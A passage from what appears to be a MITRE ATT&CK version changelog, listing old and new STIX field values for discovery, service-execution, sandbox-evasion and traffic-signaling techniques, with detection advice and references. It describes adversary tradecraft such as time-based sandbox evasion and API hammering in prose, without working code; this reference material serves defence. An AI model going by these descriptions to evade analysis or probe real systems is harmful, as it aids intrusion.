| external_references[3]['url'] | https://cloud.google.com/compute/docs/reference/rest/v1/instances | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get |
| external_references[4]['source_name'] | Microsoft Virutal Machine API | 20 macOS Common Tools and Techniques |
| external_references[4]['description'] | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| x_mitre_data_sources[0] | Azure activity logs | Process: OS API Execution |
| x_mitre_data_sources[1] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Instance: Instance Metadata |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Creation |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Network |
| x_mitre_version | 2.1 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OSX.FairyTale', 'description': 'Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.', 'url': 'https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/'} | |
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/312.html', 'external_id': 'CAPEC-312'} | |
| x_mitre_contributors | Maril Vernon @shewhohacks | |
| x_mitre_contributors | Austin Clark, @c2defense |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | Azure |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for details about the network configura | t | 1 | Adversaries may look for details about the network configura |
| > | tion and settings of systems they access or through informat | > | tion and settings, such as IP and/or MAC addresses, of syste | ||
| > | ion discovery of remote systems. Several operating system ad | > | ms they access or through information discovery of remote sy | ||
| > | ministration utilities exist that can be used to gather this | > | stems. Several operating system administration utilities exi | ||
| > | information. Examples include [Arp](https://attack.mitre.or | > | st that can be used to gather this information. Examples inc | ||
| > | g/software/S0099), [ipconfig](https://attack.mitre.org/softw | > | lude [Arp](https://attack.mitre.org/software/S0099), [ipconf | ||
| > | are/S0100)/[ifconfig](https://attack.mitre.org/software/S010 | > | ig](https://attack.mitre.org/software/S0100)/[ifconfig](http | ||
| > | 1), [nbtstat](https://attack.mitre.org/software/S0102), and | > | s://attack.mitre.org/software/S0101), [nbtstat](https://atta | ||
| > | [route](https://attack.mitre.org/software/S0103). Adversari | > | ck.mitre.org/software/S0102), and [route](https://attack.mit | ||
| > | es may use the information from [System Network Configuratio | > | re.org/software/S0103). Adversaries may also leverage a [Ne | ||
| > | n Discovery](https://attack.mitre.org/techniques/T1016) duri | > | twork Device CLI](https://attack.mitre.org/techniques/T1059/ | ||
| > | ng automated discovery to shape follow-on behaviors, includi | > | 008) on network devices to gather information about configur | ||
| > | ng whether or not the adversary fully infects the target and | > | ations and settings, such as IP addresses of configured inte | ||
| > | /or attempts specific actions. | > | rfaces and static/dynamic routes.(Citation: US-CERT-TA18-106 | ||
| > | A)(Citation: Mandiant APT41 Global Intrusion ) Adversaries | ||||
| > | may use the information from [System Network Configuration D | ||||
| > | iscovery](https://attack.mitre.org/techniques/T1016) during | ||||
| > | automated discovery to shape follow-on behaviors, including | ||||
| > | determining certain access within the target network and wha | ||||
| > | t actions to do next. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Austin Clark, @c2defense'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-309 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 00:55:33.136000+00:00 | 2022-05-20 17:34:15.406000+00:00 |
| description | Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. |
| external_references[1]['source_name'] | capec | Mandiant APT41 Global Intrusion |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/309.html | https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/309.html', 'external_id': 'CAPEC-309'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_platforms | Network |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of network connecti | t | 1 | Adversaries may attempt to get a listing of network connecti |
| > | ons to or from the compromised system they are currently acc | > | ons to or from the compromised system they are currently acc | ||
| > | essing or from remote systems by querying for information ov | > | essing or from remote systems by querying for information ov | ||
| > | er the network. An adversary who gains access to a system | > | er the network. An adversary who gains access to a system | ||
| > | that is part of a cloud-based environment may map out Virtua | > | that is part of a cloud-based environment may map out Virtua | ||
| > | l Private Clouds or Virtual Networks in order to determine w | > | l Private Clouds or Virtual Networks in order to determine w | ||
| > | hat systems and services are connected. The actions performe | > | hat systems and services are connected. The actions performe | ||
| > | d are likely the same types of discovery techniques dependin | > | d are likely the same types of discovery techniques dependin | ||
| > | g on the operating system, but the resulting information may | > | g on the operating system, but the resulting information may | ||
| > | include details about the networked cloud environment relev | > | include details about the networked cloud environment relev | ||
| > | ant to the adversary's goals. Cloud providers may have diffe | > | ant to the adversary's goals. Cloud providers may have diffe | ||
| > | rent ways in which their virtual networks operate.(Citation: | > | rent ways in which their virtual networks operate.(Citation: | ||
| > | Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Net | > | Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Net | ||
| > | work Overview)(Citation: Google VPC Overview) Utilities and | > | work Overview)(Citation: Google VPC Overview) Similarly, adv | ||
| > | commands that acquire this information include [netstat](ht | > | ersaries who gain access to network devices may also perform | ||
| > | tps://attack.mitre.org/software/S0104), "net use," and "net | > | similar discovery activities to gather information about co | ||
| > | session" with [Net](https://attack.mitre.org/software/S0039) | > | nnected systems and services. Utilities and commands that a | ||
| > | . In Mac and Linux, [netstat](https://attack.mitre.org/softw | > | cquire this information include [netstat](https://attack.mit | ||
| > | are/S0104) and <code>lsof</code> can be used to list current | > | re.org/software/S0104), "net use," and "net session" with [N | ||
| > | connections. <code>who -a</code> and <code>w</code> can be | > | et](https://attack.mitre.org/software/S0039). In Mac and Lin | ||
| > | used to show which users are currently logged in, similar to | > | ux, [netstat](https://attack.mitre.org/software/S0104) and < | ||
| > | "net session". | > | code>lsof</code> can be used to list current connections. <c | ||
| > | ode>who -a</code> and <code>w</code> can be used to show whi | ||||
| > | ch users are currently logged in, similar to "net session". | ||||
| > | Additionally, built-in features native to network devices an | ||||
| > | d [Network Device CLI](https://attack.mitre.org/techniques/T | ||||
| > | 1059/008) may be used.(Citation: US-CERT-TA18-106A) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 14:15:32.910000+00:00 | 2022-04-20 18:14:30.741000+00:00 |
| description | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A) |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Network |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| x_mitre_contributors | Austin Clark, @c2defense | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may try to get information about registered serv | t | 1 | Adversaries may try to gather information about registered l |
| > | ices. Commands that may obtain information about services us | > | ocal system services. Adversaries may obtain information abo | ||
| > | ing operating system utilities are "sc," "tasklist /svc" usi | > | ut services using tools as well as OS utility commands such | ||
| > | ng [Tasklist](https://attack.mitre.org/software/S0057), and | > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | ||
| > | "net start" using [Net](https://attack.mitre.org/software/S0 | > | systemctl --type=service</code>, and <code>net start</code>. | ||
| > | 039), but adversaries may also use other tools as well. Adve | > | Adversaries may use the information from [System Service D | ||
| > | rsaries may use the information from [System Service Discove | > | iscovery](https://attack.mitre.org/techniques/T1007) during | ||
| > | ry](https://attack.mitre.org/techniques/T1007) during automa | > | automated discovery to shape follow-on behaviors, including | ||
| > | ted discovery to shape follow-on behaviors, including whethe | > | whether or not the adversary fully infects the target and/or | ||
| > | r or not the adversary fully infects the target and/or attem | > | attempts specific actions. | ||
| > | pts specific actions. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:05:08.805000+00:00 | 2022-04-19 02:39:54.386000+00:00 |
| description | Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.
Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse system services or daemons to execute | t | 1 | Adversaries may abuse system services or daemons to execute |
| > | commands or programs. Adversaries can execute malicious cont | > | commands or programs. Adversaries can execute malicious cont | ||
| > | ent by interacting with or creating services. Many services | > | ent by interacting with or creating services either locally | ||
| > | are set to run at boot, which can aid in achieving persisten | > | or remotely. Many services are set to run at boot, which can | ||
| > | ce ([Create or Modify System Process](https://attack.mitre.o | > | aid in achieving persistence ([Create or Modify System Proc | ||
| > | rg/techniques/T1543)), but adversaries can also abuse servic | > | ess](https://attack.mitre.org/techniques/T1543)), but advers | ||
| > | es for one-time or temporary execution. | > | aries can also abuse services for one-time or temporary exec | ||
| > | ution. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.250000+00:00 | 2022-03-22 17:29:46.189000+00:00 |
| description | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[3] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Linux |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | and avoid virtualization and analysis environments. This may | ||
| > | include timers or other triggers to avoid a virtual machine | > | include enumerating time-based properties, such as uptime o | ||
| > | environment (VME) or sandbox, specifically those that are a | > | r the system clock, as well as the use of timers or other tr | ||
| > | utomated or only operate for a limited amount of time. Adve | > | iggers to avoid a virtual machine environment (VME) or sandb | ||
| > | rsaries may employ various time-based evasions, such as dela | > | ox, specifically those that are automated or only operate fo | ||
| > | ying malware functionality upon initial execution using prog | > | r a limited amount of time. Adversaries may employ various | ||
| > | rammatic sleep commands or native system scheduling function | > | time-based evasions, such as delaying malware functionality | ||
| > | ality (ex: [Scheduled Task/Job](https://attack.mitre.org/tec | > | upon initial execution using programmatic sleep commands or | ||
| > | hniques/T1053)). Delays may also be based on waiting for spe | > | native system scheduling functionality (ex: [Scheduled Task/ | ||
| > | cific victim conditions to be met (ex: system time, events, | > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | ||
| > | etc.) or employ scheduled [Multi-Stage Channels](https://att | > | also be based on waiting for specific victim conditions to | ||
| > | ack.mitre.org/techniques/T1104) to avoid analysis and scruti | > | be met (ex: system time, events, etc.) or employ scheduled [ | ||
| > | ny. | > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||
| > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||||
| > | ronment Awareness) Benign commands or other operations may | ||||
| > | also be used to delay malware execution. Loops or otherwise | ||||
| > | needless repetitions of commands, such as [Ping](https://att | ||||
| > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||||
| > | execution and potentially exceed time thresholds of automat | ||||
| > | ed analysis environments.(Citation: Revil Independence Day)( | ||||
| > | Citation: Netskope Nitol) Another variation, commonly referr | ||||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.532000+00:00 | 2021-10-15 22:37:43.854000+00:00 |
| description | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'} | |
| external_references | {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'} | |
| external_references | {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'} | |
| external_references | {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'} | |
| external_references | {'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'} | |
| external_references | {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'} | |
| x_mitre_contributors | Jorge Orchilles, SCYTHE | |
| x_mitre_contributors | Ruben Dodge, @shotgunner101 | |
| x_mitre_contributors | Jeff Felling, Red Canary | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use traffic signaling to hide open ports or | t | 1 | Adversaries may use traffic signaling to hide open ports or |
| > | other malicious functionality used for persistence or comman | > | other malicious functionality used for persistence or comman | ||
| > | d and control. Traffic signaling involves the use of a magic | > | d and control. Traffic signaling involves the use of a magic | ||
| > | value or sequence that must be sent to a system to trigger | > | value or sequence that must be sent to a system to trigger | ||
| > | a special response, such as opening a closed port or executi | > | a special response, such as opening a closed port or executi | ||
| > | ng a malicious task. This may take the form of sending a ser | > | ng a malicious task. This may take the form of sending a ser | ||
| > | ies of packets with certain characteristics before a port wi | > | ies of packets with certain characteristics before a port wi | ||
| > | ll be opened that the adversary can use for command and cont | > | ll be opened that the adversary can use for command and cont | ||
| > | rol. Usually this series of packets consists of attempted co | > | rol. Usually this series of packets consists of attempted co | ||
| > | nnections to a predefined sequence of closed ports (i.e. [Po | > | nnections to a predefined sequence of closed ports (i.e. [Po | ||
| > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | ||
| > | , but can involve unusual flags, specific strings, or other | > | , but can involve unusual flags, specific strings, or other | ||
| > | unique characteristics. After the sequence is completed, ope | > | unique characteristics. After the sequence is completed, ope | ||
| > | ning a port may be accomplished by the host-based firewall, | > | ning a port may be accomplished by the host-based firewall, | ||
| > | but could also be implemented by custom software. Adversari | > | but could also be implemented by custom software. Adversari | ||
| > | es may also communicate with an already open port, but the s | > | es may also communicate with an already open port, but the s | ||
| > | ervice listening on that port will only respond to commands | > | ervice listening on that port will only respond to commands | ||
